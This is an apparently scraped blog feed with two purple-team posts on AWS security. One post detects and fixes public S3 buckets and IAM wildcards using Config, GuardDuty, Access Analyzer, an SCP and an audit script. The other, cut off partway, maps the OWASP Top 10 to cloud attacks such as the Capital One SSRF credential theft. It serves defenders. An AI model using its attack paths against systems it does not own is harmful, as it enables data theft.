echo &quot;PURPLE_TEAM_TEST_DATA&quot; | aws s3 cp - s3://${TEST_BUCKET}/test.txt

# Verify it&#039;s accessible without credentials
curl -s &quot;https://${TEST_BUCKET}.s3.amazonaws.com/test.txt&quot;
# Should return: PURPLE_TEAM_TEST_DATA

echo &quot;&quot;
echo &quot;Test complete. Clean up:&quot;
echo &quot;aws s3 rb s3://${TEST_BUCKET} --force&quot;
</code></pre>
<hr />
<h2 id="blue-phase-what-detection-looks-like">Blue Phase: What Detection Looks Like</h2>
<h3 id="what-aws-config-catches">What AWS Config Catches</h3>
<p>Two managed rules cover the majority of S3 broken access control findings:</p>
<pre><code class="" data-line=""># Enable the S3 public access rules in AWS Config
# (requires Config to already be enabled)

# Rule 1: s3-bucket-public-read-prohibited
aws configservice put-config-rule --config-rule &#039;{
  &quot;ConfigRuleName&quot;: &quot;s3-bucket-public-read-prohibited&quot;,
  &quot;Source&quot;: {
    &quot;Owner&quot;: &quot;AWS&quot;,
    &quot;SourceIdentifier&quot;: &quot;S3_BUCKET_PUBLIC_READ_PROHIBITED&quot;
  },
  &quot;Scope&quot;: {
    &quot;ComplianceResourceTypes&quot;: [&quot;AWS::S3::Bucket&quot;]
  }
}&#039;

# Rule 2: s3-account-level-public-access-blocks-periodic
aws configservice put-config-rule --config-rule &#039;{
  &quot;ConfigRuleName&quot;: &quot;s3-account-level-public-access-blocks-periodic&quot;,
  &quot;Source&quot;: {
    &quot;Owner&quot;: &quot;AWS&quot;,
    &quot;SourceIdentifier&quot;: &quot;S3_ACCOUNT_LEVEL_PUBLIC_ACCESS_BLOCKS_PERIODIC&quot;
  }
}&#039;

# Check current compliance status
aws configservice describe-compliance-by-config-rule \
  --config-rule-names s3-bucket-public-read-prohibited \
  --query &#039;ComplianceByConfigRules[].{Rule:ConfigRuleName,Compliance:Compliance.ComplianceType}&#039;
</code></pre>
<h3 id="what-guardduty-catches">What GuardDuty Catches</h3>
<p>GuardDuty generates these findings for S3 broken access control:</p>
<table>
<thead>
<tr>
<th>Finding Type</th>
<th>Trigger</th>
<th>Severity</th>
</tr>
</thead>
<tbody>
<tr>
<td><code class="" data-line="">Policy:S3/BucketAnonymousAccessGranted</code></td>
<td>Bucket policy or ACL grants public read/write</td>
<td>Medium</td>
</tr>
<tr>
<td><code class="" data-line="">Policy:S3/BucketPublicAccessGranted</code></td>
<td>Same as above — alternate finding type</td>
<td>Medium</td>
</tr>
<tr>
<td><code class="" data-line="">Discovery:S3/MaliciousIPCaller</code></td>
<td>S3 GetObject from a known malicious IP</td>
<td>High</td>
</tr>
</tbody>
</table>
<pre><code class="" data-line=""># Query GuardDuty findings for S3 public access violations
DETECTOR_ID=$(aws guardduty list-detectors --query &#039;DetectorIds[0]&#039; --output text)

aws guardduty list-findings \
  --detector-id &quot;${DETECTOR_ID}&quot; \
  --finding-criteria &#039;{
    &quot;Criterion&quot;: {
      &quot;type&quot;: {
        &quot;Equals&quot;: [&quot;Policy:S3/BucketAnonymousAccessGranted&quot;, &quot;Policy:S3/BucketPublicAccessGranted&quot;]
      }
    }
  }&#039; \
  --query &#039;FindingIds&#039; --output text | \
  xargs -n 10 aws guardduty get-findings \
    --detector-id &quot;${DETECTOR_ID}&quot; \
    --finding-ids | \
  jq &#039;.Findings[] | {type: .Type, bucket: .Resource.S3BucketDetails[0].Name, severity: .Severity}&#039;
</code></pre>
<h3 id="what-iam-access-analyzer-catches">What IAM Access Analyzer Catches</h3>
<p>IAM Access Analyzer continuously analyzes resource policies for external access — S3 buckets, IAM roles, KMS keys, SQS queues, Lambda functions. It generates a finding any time a resource policy grants access to a principal outside the AWS account (or AWS Organization boundary).</p>
<pre><code class="" data-line=""># Enable IAM Access Analyzer for the account
aws accessanalyzer create-analyzer \
  --analyzer-name &quot;account-access-analyzer&quot; \
  --type ACCOUNT

# List all active findings (external access granted)
aws accessanalyzer list-findings \
  --analyzer-arn $(aws accessanalyzer list-analyzers --query &#039;analyzers[0].arn&#039; --output text) \
  --filter &#039;{&quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
  --query &#039;findings[].{Resource:resource,Principal:principal,Action:action}&#039; \
  --output table
</code></pre>
<h3 id="what-the-cloudtrail-event-looks-like">What the CloudTrail Event Looks Like</h3>
<p>When an anonymous user accesses a public S3 object:</p>
<pre><code class="" data-line="">{
  &quot;eventVersion&quot;: &quot;1.09&quot;,
  &quot;userIdentity&quot;: {
    &quot;type&quot;: &quot;AWSAccount&quot;,
    &quot;accountId&quot;: &quot;ANONYMOUS_PRINCIPAL&quot;,  
    &quot;principalId&quot;: &quot;ANONYMOUS_PRINCIPAL&quot;
  },
  &quot;eventTime&quot;: &quot;2024-03-15T02:47:00Z&quot;,
  &quot;eventSource&quot;: &quot;s3.amazonaws.com&quot;,
  &quot;eventName&quot;: &quot;GetObject&quot;,
  &quot;requestParameters&quot;: {
    &quot;bucketName&quot;: &quot;your-bucket-name&quot;,
    &quot;key&quot;: &quot;customer-data/records.csv&quot;
  },
  &quot;sourceIPAddress&quot;: &quot;198.51.100.1&quot;,
  &quot;userAgent&quot;: &quot;python-requests/2.28.0&quot;
}
</code></pre>
<p>The signal: <code class="" data-line="">userIdentity.type = &quot;AWSAccount&quot;</code> with <code class="" data-line="">accountId = &quot;ANONYMOUS_PRINCIPAL&quot;</code> on a <code class="" data-line="">GetObject</code> event. This is a read from an anonymous, unauthenticated principal.</p>
<pre><code class="" data-line=""># CloudTrail Insights query (Athena) to find anonymous S3 GetObject events
# Assumes CloudTrail S3 data events are enabled for the bucket

SELECT
  eventTime,
  sourceIPAddress,
  requestParameters.bucketName,
  requestParameters.key,
  userIdentity.type,
  userIdentity.accountId
FROM cloudtrail_logs
WHERE
  eventName = &#039;GetObject&#039;
  AND userIdentity.type = &#039;AWSAccount&#039;
  AND userIdentity.accountId = &#039;ANONYMOUS_PRINCIPAL&#039;
  AND eventTime &gt; current_timestamp - interval &#039;7&#039; day
ORDER BY eventTime DESC
LIMIT 100;
</code></pre>
<hr />
<h2 id="purple-phase-the-structural-fix">Purple Phase: The Structural Fix</h2>
<p>Detection catches broken access control after the fact. The structural fix prevents it from being possible.</p>
<h3 id="fix-1-account-level-s3-public-access-block">Fix 1: Account-Level S3 Public Access Block</h3>
<p>This is a single setting that prevents any bucket in the account from becoming public — regardless of bucket policy or ACL. It overrides bucket-level settings.</p>
<pre><code class="" data-line=""># Enable account-level S3 public access block
aws s3control put-public-access-block \
  --account-id $(aws sts get-caller-identity --query Account --output text) \
  --public-access-block-configuration \
  &quot;BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true&quot;

# Verify
aws s3control get-public-access-block \
  --account-id $(aws sts get-caller-identity --query Account --output text)
</code></pre>
<h3 id="fix-2-scp-to-prevent-disabling-the-public-access-block">Fix 2: SCP to Prevent Disabling the Public Access Block</h3>
<p>An SCP (Service Control Policy) at the AWS Organizations level that prevents any account from disabling the public access block — even an account administrator.</p>
<pre><code class="" data-line="">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
      &quot;Sid&quot;: &quot;DenyS3PublicAccessBlockDisable&quot;,
      &quot;Effect&quot;: &quot;Deny&quot;,
      &quot;Action&quot;: [
        &quot;s3:PutBucketPublicAccessBlock&quot;,
        &quot;s3:DeletePublicAccessBlock&quot;
      ],
      &quot;Resource&quot;: &quot;*&quot;,
      &quot;Condition&quot;: {
        &quot;ArnNotLike&quot;: {
          &quot;aws:PrincipalArn&quot;: &quot;arn:aws:iam::*:role/s3-public-access-exception-role&quot;
        }
      }
    }
  ]
}
</code></pre>
<pre><code class="" data-line=""># Apply the SCP to your organizational unit
aws organizations create-policy \
  --name &quot;DenyS3PublicAccessBlockDisable&quot; \
  --type SERVICE_CONTROL_POLICY \
  --content file://scp-deny-s3-public-access.json \
  --description &quot;Prevents disabling S3 public access block at account level&quot;
</code></pre>
<h3 id="fix-3-iam-policy-cleanup-remove-wildcards">Fix 3: IAM Policy Cleanup — Remove Wildcards</h3>
<p>For IAM policies with wildcard actions, the fix is least-privilege replacement. This is not a quick operation — it requires analyzing actual usage and scoping to what is actually needed.</p>
<pre><code class="" data-line=""># Use IAM Access Analyzer policy generation to generate a least-privilege policy
# based on actual CloudTrail activity for a role
aws accessanalyzer start-policy-generation \
  --policy-generation-details &#039;{
    &quot;principalArn&quot;: &quot;arn:aws:iam::123456789012:role/your-role-name&quot;
  }&#039; \
  --cloud-trail-details &#039;{
    &quot;accessRole&quot;: &quot;arn:aws:iam::123456789012:role/access-analyzer-cloudtrail-role&quot;,
    &quot;trailProperties&quot;: [{
      &quot;cloudTrailArn&quot;: &quot;arn:aws:cloudtrail:us-east-1:123456789012:trail/your-trail&quot;,
      &quot;regions&quot;: [&quot;us-east-1&quot;, &quot;us-west-2&quot;],
      &quot;allRegions&quot;: false
    }],
    &quot;startTime&quot;: &quot;2024-01-01T00:00:00Z&quot;,
    &quot;endTime&quot;: &quot;2024-03-01T00:00:00Z&quot;
  }&#039;

# Retrieve the generated policy
JOB_ID=&quot;&lt;returned-job-id&gt;&quot;
aws accessanalyzer get-generated-policy --job-id &quot;${JOB_ID}&quot;
</code></pre>
<p>For a systematic audit approach, the <a href="/aws-least-privilege-audit/">AWS least privilege audit</a> process in IAM EP09 covers how to move from wildcard policies to scoped permissions methodically across a multi-account environment.</p>
<h3 id="fix-4-iam-access-analyzer-with-automated-archiving">Fix 4: IAM Access Analyzer with Automated Archiving</h3>
<pre><code class="" data-line=""># Create an archive rule for known-good cross-account access
# (prevents alert fatigue from legitimate cross-account patterns)
aws accessanalyzer create-archive-rule \
  --analyzer-name &quot;account-access-analyzer&quot; \
  --rule-name &quot;archive-legitimate-cross-account&quot; \
  --filter &#039;{
    &quot;principal.AWS&quot;: {
      &quot;contains&quot;: [&quot;arn:aws:iam::111122223333:role/legitimate-cross-account-role&quot;]
    }
  }&#039;
</code></pre>
<hr />
<h2 id="run-this-in-your-own-environment-a01-audit">Run This in Your Own Environment: A01 Audit</h2>
<p>Run this in any AWS account you own or have read-only access to audit:</p>
<pre><code class="" data-line="">#!/bin/bash
# Purple Team EP04 — Broken Access Control (A01) Audit
# Safe to run with read-only IAM permissions

ACCOUNT=$(aws sts get-caller-identity --query Account --output text)
echo &quot;Auditing account: ${ACCOUNT}&quot;
echo &quot;===============================&quot;

echo &quot;&quot;
echo &quot;[A01-1] S3 Account-Level Public Access Block&quot;
aws s3control get-public-access-block --account-id &quot;${ACCOUNT}&quot; 2&gt;/dev/null || \
  echo &quot;  FINDING: Account-level public access block not configured&quot;

echo &quot;&quot;
echo &quot;[A01-2] S3 Buckets with Public Access&quot;
aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text | tr &#039;\t&#039; &#039;\n&#039; | \
  while read bucket; do
    status=$(aws s3api get-bucket-policy-status --bucket &quot;$bucket&quot; 2&gt;/dev/null | \
      jq -r &#039;.PolicyStatus.IsPublic // &quot;false&quot;&#039;)
    if [ &quot;$status&quot; = &quot;true&quot; ]; then
      echo &quot;  FINDING: Public bucket: $bucket&quot;
    fi
  done

echo &quot;&quot;
echo &quot;[A01-3] IAM Roles with Wildcard Trust Policies&quot;
aws iam list-roles --query &#039;Roles[].RoleName&#039; --output text | tr &#039;\t&#039; &#039;\n&#039; | head -50 | \
  while read role; do
    trust=$(aws iam get-role --role-name &quot;$role&quot; \
      --query &#039;Role.AssumeRolePolicyDocument.Statement&#039; 2&gt;/dev/null)
    if echo &quot;$trust&quot; | jq -e &#039;.[] | select(.Principal == &quot;*&quot;)&#039; &gt; /dev/null 2&gt;&amp;1; then
      echo &quot;  FINDING: Wildcard trust principal in role: $role&quot;
    fi
  done

echo &quot;&quot;
echo &quot;[A01-4] IAM Access Analyzer — Active External Access Findings&quot;
ANALYZER=$(aws accessanalyzer list-analyzers --query &#039;analyzers[0].arn&#039; --output text 2&gt;/dev/null)
if [ -z &quot;$ANALYZER&quot; ]; then
  echo &quot;  FINDING: IAM Access Analyzer not enabled&quot;
else
  aws accessanalyzer list-findings \
    --analyzer-arn &quot;${ANALYZER}&quot; \
    --filter &#039;{&quot;status&quot;: {&quot;eq&quot;: [&quot;ACTIVE&quot;]}}&#039; \
    --query &#039;findings[].{Resource:resource,Type:resourceType}&#039; \
    --output table
fi
</code></pre>
<hr />
<h2 id="common-mistakes-when-fixing-broken-access-control-in-aws"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Mistakes When Fixing Broken Access Control in AWS</h2>
<p><strong>Fixing the symptom at the bucket level without the account-level block.</strong> If you set <code class="" data-line="">RestrictPublicBuckets=true</code> on individual buckets but leave the account-level block unset, the next bucket created by another engineer starts with public access possible again. The account-level block is the structural control; the bucket-level setting is defense-in-depth.</p>
<p><strong>Not enabling CloudTrail S3 data events.</strong> CloudTrail management events capture bucket creation and policy changes. They do not capture <code class="" data-line="">GetObject</code> and <code class="" data-line="">PutObject</code> by default — that requires enabling S3 data events, which adds cost. Without data events, you cannot see who accessed what in a public bucket. If you can&#8217;t afford data events on all buckets, enable them on buckets containing sensitive data.</p>
<p><strong>Treating IAM Access Analyzer findings as one-time.</strong> Access Analyzer runs continuously. A new resource policy that grants external access generates a new finding. If you archive findings without fixing the underlying policy, you lose visibility. Archive only findings that represent intentional, documented cross-account access.</p>
<p><strong>Confusing &#8220;no GuardDuty findings&#8221; with &#8220;no problem.&#8221;</strong> GuardDuty&#8217;s <code class="" data-line="">Policy:S3/BucketAnonymousAccessGranted</code> only fires when access is newly granted during GuardDuty&#8217;s monitoring window. A bucket that was made public before GuardDuty was enabled will not generate a finding — GuardDuty does not retroactively scan all bucket policies. Use AWS Config for retroactive compliance checks; use GuardDuty for real-time detection of new violations.</p>
<p>For the full IAM attack chain that broken access control enables — including <a href="/aws-iam-privilege-escalation-passrole/">IAM privilege escalation paths via iam:PassRole</a> — see IAM series EP08. The privilege escalation analysis belongs alongside the access control audit.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Control</th>
<th>What It Does</th>
<th>AWS Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account-level S3 public access block</td>
<td>Prevents any bucket from becoming public</td>
<td>S3 Control</td>
</tr>
<tr>
<td>SCP: deny public access block disable</td>
<td>Prevents disabling the account-level block</td>
<td>Organizations</td>
</tr>
<tr>
<td>AWS Config: <code class="" data-line="">S3_BUCKET_PUBLIC_READ_PROHIBITED</code></td>
<td>Flags buckets that are or become public</td>
<td>AWS Config</td>
</tr>
<tr>
<td>GuardDuty: <code class="" data-line="">Policy:S3/BucketAnonymousAccessGranted</code></td>
<td>Detects new public access grants</td>
<td>GuardDuty</td>
</tr>
<tr>
<td>IAM Access Analyzer</td>
<td>Finds all resources with external access grants</td>
<td>Access Analyzer</td>
</tr>
<tr>
<td>CloudTrail S3 data events</td>
<td>Captures GetObject/PutObject for audit</td>
<td>CloudTrail</td>
</tr>
<tr>
<td>IAM policy generation</td>
<td>Generates least-privilege policy from actual usage</td>
<td>Access Analyzer</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Broken access control in AWS</strong> (OWASP A01) is the most common cloud security failure — IAM wildcards, public S3, and broad trust policies are the three primary manifestations</li>
<li>A public S3 bucket with 47 million records was active for six months without a single alert — because the detection controls (AWS Config rules, GuardDuty) weren&#8217;t enabled to look for it</li>
<li>The structural fix is the account-level S3 public access block enforced by SCP — detection tools catch violations; the SCP prevents the violation from being possible</li>
<li>IAM Access Analyzer provides continuous visibility into every resource that grants external access — enable it in every account</li>
<li>The red phase can be run with read-only permissions against your own account — the audit script above reveals your current A01 exposure in under five minutes</li>
<li>Fixing A01 without enabling the A09 controls (CloudTrail data events, GuardDuty, AWS Config) leaves you blind to whether the fix is working</li>
<li>Use Access Analyzer&#8217;s policy generation feature to move from wildcard policies to least-privilege without guessing</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP05 covers MFA fatigue attacks — how the Uber and Okta breaches worked at the authentication layer, how to simulate push-notification fatigue in a test environment, and the structural fix: phishing-resistant MFA using FIDO2 hardware keys. The identity layer is where most cloud compromises start — understanding how push MFA fails is the prerequisite for knowing why hardware keys are the only structural answer.</p>
<p>Get EP05 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&amp;linkname=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fbroken-access-control-aws-cloud%2F&#038;title=Broken%20Access%20Control%20in%20AWS%3A%20From%20Misconfigured%20S3%20to%20Admin" data-a2a-url="https://linuxcent.com/broken-access-control-aws-cloud/" data-a2a-title="Broken Access Control in AWS: From Misconfigured S3 to Admin"></a></p><p>The post <a href="https://linuxcent.com/broken-access-control-aws-cloud/">Broken Access Control in AWS: From Misconfigured S3 to Admin</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/broken-access-control-aws-cloud/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1852</post-id>	</item>
		<item>
		<title>OWASP Top 10 Mapped to Cloud Infrastructure: Beyond Web Apps</title>
		<link>https://linuxcent.com/owasp-top-10-cloud-infrastructure/</link>
					<comments>https://linuxcent.com/owasp-top-10-cloud-infrastructure/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Tue, 19 May 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[DevSecOps]]></category>
		<category><![CDATA[Infrastructure Security]]></category>
		<category><![CDATA[Kubernetes]]></category>
		<category><![CDATA[OWASP]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1846</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span>OWASP Top 10 mapped to cloud infrastructure: every category has an AWS, Kubernetes, or Linux equivalent. Use it as an attack-path checklist, not a web-app framework.</p>
<p>The post <a href="https://linuxcent.com/owasp-top-10-cloud-infrastructure/">OWASP Top 10 Mapped to Cloud Infrastructure: Beyond Web Apps</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <strong>OWASP Top 10 mapped to cloud infrastructure</strong> → <a href="/cloud-security-breaches-2020-2025/">EP03: Cloud security breaches 2020–2025</a></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>OWASP Top 10 cloud infrastructure</strong> mapping shows that every category has a direct cloud-native equivalent — this is not a web-app-only taxonomy</li>
<li>A01 Broken Access Control = IAM wildcards, public S3, overly permissive trust policies</li>
<li>A07 Authentication Failures = MFA fatigue, session token theft, push-notification abuse</li>
<li>A08 Software/Data Integrity = compromised build pipelines, unsigned container images, secrets in CI/CD</li>
<li>A10 SSRF = EC2 metadata endpoint abuse, IMDSv1 credential theft (the Capital One attack vector)</li>
<li>Every major cloud breach 2020–2025 lands in one of these ten categories — the taxonomy was always infrastructure-applicable</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> All categories — A01 through A10. This episode is the reference map for the entire series.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│           OWASP TOP 10 → CLOUD INFRASTRUCTURE MAPPING              │
│                                                                     │
│  OWASP (2021)              CLOUD EQUIVALENT          REAL BREACH    │
│  ─────────────────────────────────────────────────────────────────  │
│  A01 Broken Access Ctrl  → IAM wildcards, public S3  Capital One    │
│  A02 Cryptographic Fail  → Plaintext secrets, weak   CircleCI       │
│                            KMS config                               │
│  A03 Injection           → Log4j JNDI, SSRF as       Log4Shell      │
│                            injection variant                        │
│  A04 Insecure Design     → --privileged containers   runc CVEs      │
│                            no seccomp/AppArmor                      │
│  A05 Security Misconfig  → K8s RBAC defaults, open   Multiple       │
│                            etcd ports                               │
│  A06 Vulnerable Comps    → Transitive deps, outdated  XZ Utils      │
│                            base images                              │
│  A07 Auth Failures       → MFA fatigue, stolen        Uber, Okta    │
│                            session tokens                           │
│  A08 SW/Data Integrity   → Unsigned artifacts,        SolarWinds    │
│                            compromised pipelines                    │
│  A09 Logging/Monitoring  → Missing CloudTrail,        Most          │
│                            no workload telemetry                    │
│  A10 SSRF                → EC2 IMDS abuse, metadata  Capital One    │
│                            credential theft                         │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>OWASP Top 10 cloud infrastructure</strong> mapping is not a translation exercise — it is a recognition that the same classes of failure that compromise web applications also compromise cloud infrastructure, Kubernetes clusters, and CI/CD pipelines. The language shifts; the attack classes don&#8217;t.</p>
<hr />
<h2 id="why-engineers-treat-owasp-as-a-web-app-only-concern">Why Engineers Treat OWASP as a Web-App-Only Concern</h2>
<p>I kept hearing OWASP Top 10 in web application security reviews. The AppSec team ran it through their checklist. The infrastructure team shrugged — &#8220;that&#8217;s for the developers.&#8221; Then I looked at the actual cloud breaches: Capital One, Uber, CircleCI, SolarWinds. Every one of them mapped to an OWASP category.</p>
<p>The confusion comes from OWASP&#8217;s origins. The project started in 2001 focused on web application vulnerabilities. SQL injection, XSS, broken authentication against HTTP endpoints. The cloud and container ecosystem didn&#8217;t exist. So the examples stayed web-application-centric even as the underlying failure classes proved universal.</p>
<p>The 2021 OWASP Top 10 update is more abstracted than its predecessors — intentionally. &#8220;Broken Access Control&#8221; doesn&#8217;t say &#8220;SQL injection.&#8221; It says access control. That applies to every IAM policy that has <code class="" data-line="">&quot;Action&quot;: &quot;*&quot;</code> where it shouldn&#8217;t.</p>
<p>This episode makes the mapping explicit. One OWASP category at a time.</p>
<hr />
<h2 id="a01-broken-access-control-iam-wildcards-and-public-s3">A01: Broken Access Control — IAM Wildcards and Public S3</h2>
<p><strong>Web equivalent:</strong> A user can access other users&#8217; records by modifying the URL parameter.</p>
<p><strong>Cloud equivalent:</strong> An IAM role with <code class="" data-line="">&quot;Action&quot;: &quot;*&quot;</code> on <code class="" data-line="">&quot;Resource&quot;: &quot;*&quot;</code>. An S3 bucket with public read. A cross-account trust policy that allows any principal in the account, not just a specific role.</p>
<p>Broken access control in cloud infrastructure means the principal can reach a resource it should not be able to reach, because the access control decision was not made or was made incorrectly.</p>
<p>The Capital One breach (2019, disclosed publicly) is the canonical example. A WAF running on EC2 had an IAM role attached. That role had permissions to list and retrieve objects from S3 buckets. SSRF against the WAF reached the EC2 metadata endpoint and retrieved the IAM role credentials. Those credentials then accessed 100 million customer records. The SSRF was A10. The fact that the WAF had access to customer data S3 buckets was A01.</p>
<pre><code class="" data-line="">aws s3control get-public-access-block --account-id $(aws sts get-caller-identity --query Account --output text)

# Find buckets that override the account-level block
aws s3api list-buckets --query &#039;Buckets[].Name&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read bucket; do
    result=$(aws s3api get-public-access-block --bucket &quot;$bucket&quot; 2&gt;/dev/null)
    if echo &quot;$result&quot; | grep -q &#039;&quot;BlockPublicAcls&quot;: false&#039;; then
      echo &quot;PUBLIC ACCESS NOT BLOCKED: $bucket&quot;
    fi
  done
</code></pre>
<hr />
<h2 id="a02-cryptographic-failures-plaintext-secrets-and-weak-kms-config">A02: Cryptographic Failures — Plaintext Secrets and Weak KMS Config</h2>
<p><strong>Web equivalent:</strong> Passwords stored as MD5 hashes. Credit card numbers in plaintext in the database.</p>
